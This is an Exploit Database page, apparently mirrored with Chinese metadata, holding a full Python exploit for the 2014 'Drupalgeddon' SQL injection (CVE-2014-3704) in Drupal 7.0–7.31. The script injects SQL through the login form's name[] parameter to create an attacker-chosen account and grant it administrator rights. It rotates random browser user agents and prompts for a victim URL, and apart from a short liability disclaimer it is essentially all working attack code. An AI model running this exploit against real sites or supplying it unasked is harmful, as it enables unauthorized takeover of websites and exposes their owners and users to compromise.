Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)

• Exploit Database
• 18 阅读

• 作者： Claudio Viviani
  日期： 2014-10-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34992/

• #!/usr/bin/python
  #
  # 
  # Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
  # Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk)
  #
  # Tested on Drupal 7.31 with BackBox 3.x
  #
  # This material is intended for educational 
  # purposes only and the author can not be held liable for 
  # any kind of damages done whatsoever to your machine, 
  # or damages caused by some other,creative application of this material.
  # In any case you disagree with the above statement,stop here.
  
  import hashlib, urllib2, optparse, random, sys
  
  # START - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
  # Calculate a non-truncated Drupal 7 compatible password hash.
  # The consumer of these hashes must truncate correctly.
  
  class DrupalHash:
  
  def __init__(self, stored_hash, password):
  self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  self.last_hash = self.rehash(stored_hash, password)
  
  def get_hash(self):
  return self.last_hash
  
  def password_get_count_log2(self, setting):
  return self.itoa64.index(setting[3])
  
  def password_crypt(self, algo, password, setting):
  setting = setting[0:12]
  if setting[0] != '$' or setting[2] != '$':
  return False
  
  count_log2 = self.password_get_count_log2(setting)
  salt = setting[4:12]
  if len(salt) < 8:
  return False
  count = 1 << count_log2
  
  if algo == 'md5':
  hash_func = hashlib.md5
  elif algo == 'sha512':
  hash_func = hashlib.sha512
  else:
  return False
  hash_str = hash_func(salt + password).digest()
  for c in range(count):
  hash_str = hash_func(hash_str + password).digest()
  output = setting + self.custom64(hash_str)
  return output
  
  def custom64(self, string, count = 0):
  if count == 0:
  count = len(string)
  output = ''
  i = 0
  itoa64 = self.itoa64
  while 1:
  value = ord(string[i])
  i += 1
  output += itoa64[value & 0x3f]
  if i < count:
  value |= ord(string[i]) << 8
  output += itoa64[(value >> 6) & 0x3f]
  if i >= count:
  break
  i += 1
  if i < count:
  value |= ord(string[i]) << 16
  output += itoa64[(value >> 12) & 0x3f]
  if i >= count:
  break
  i += 1
  output += itoa64[(value >> 18) & 0x3f]
  if i >= count:
  break
  return output
  
  def rehash(self, stored_hash, password):
  # Drupal 6 compatibility
  if len(stored_hash) == 32 and stored_hash.find('$') == -1:
  return hashlib.md5(password).hexdigest()
  # Drupal 7
  if stored_hash[0:2] == 'U$':
  stored_hash = stored_hash[1:]
  password = hashlib.md5(password).hexdigest()
  hash_type = stored_hash[0:3]
  if hash_type == '$S$':
  hash_str = self.password_crypt('sha512', password, stored_hash)
  elif hash_type == '$H$' or hash_type == '$P$':
  hash_str = self.password_crypt('md5', password, stored_hash)
  else:
  hash_str = False
  return hash_str
  # END - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
  
  def randomAgentGen():
  
   userAgent =['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
  'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
  'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
  'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
  'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
  'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
  'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
  'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
  
   UA = random.choice(userAgent)
   return UA
  
  
  def urldrupal(url):
  if url[:8] != "https://" and url[:7] != "http://":
  print('[X] You must insert http:// or https:// procotol')
  sys.exit(1)
  # Page login
  url = url+'/?q=node&destination=node'
  return url
  
  
  banner = """
  ________ ______________ _____
   | _\ .----.--.--.-----.---.-|| | _ || _ | _ | 
   |.| \| _|||_|_|| |___| _|___| |.| | 
   |.||__| |_____| __|___._|__|/ |___(__ `-|.| 
   |:1/|__| | ||:1 | |:| 
   |::.. . /| ||::.. . | |::.| 
   `------' `---'`-------' `---' 
  _______ __ ___ ____ __ 
   | _ .-----|| | .-----|__.-----.----||_|__.-----.-----.
   | 1___|_|| |.| ||-__|__| _||_| |
   |____ |__ |__| |.|__|__||_____|____|____|__|_____|__|__|
   |:1 ||__||:||___| 
   |::.. . ||::.|
   `-------'`---'
   
   Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
  Admin 4cc0unt cr3at0r
  
  			Discovered by:
  
  			StefanHorst
   (CVE-2014-3704)
  
   Written by:
  
   Claudio Viviani
  
  http://www.homelab.it
  
   info@homelab.it
   homelabit@protonmail.ch
  
   https://www.facebook.com/homelabit
   https://twitter.com/homelabit
   https://plus.google.com/+HomelabIt1/
   https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  
  """
  
  commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n')
  commandList.add_option('-t', '--target',
  action="store",
  help="Insert URL: http[s]://www.victim.com",
  )
  commandList.add_option('-u', '--username',
  action="store",
  help="Insert username",
  )
  commandList.add_option('-p', '--pwd',
  action="store",
  help="Insert password",
  )
  options, remainder = commandList.parse_args()
  
  # Check args
  if not options.target or not options.username or not options.pwd:
  print(banner)
  print
  commandList.print_help()
  sys.exit(1)
  
  print(banner)
  
  host = options.target
  user = options.username
  password = options.pwd
  
  hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
  
  target = urldrupal(host)
  
  
  # Add new user:
  # insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
  #
  # Set administrator permission (rid = 3):
  # insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
  #
  post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"+user+"%27,+%27"+hash[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"+user+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"
  
  UA = randomAgentGen()
  try:
  req = urllib2.Request(target, post_data, headers={ 'User-Agent': UA })
  content = urllib2.urlopen(req).read()
  
  if "mb_strlen() expects parameter 1" in content:
  print "[!] VULNERABLE!"
  print
  	print "[!] Administrator user created!"
  	print
  print "[*] Login: "+str(user)
  print "[*] Pass: "+str(password)
  print "[*] Url: "+str(target)
  
  else:
  print "[X] NOT Vulnerable :("
  
  except urllib2.HTTPError as e:
  
  print "[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")"
  
  except urllib2.URLError as e:
  
  print "[X] Connection error: "+str(e.reason)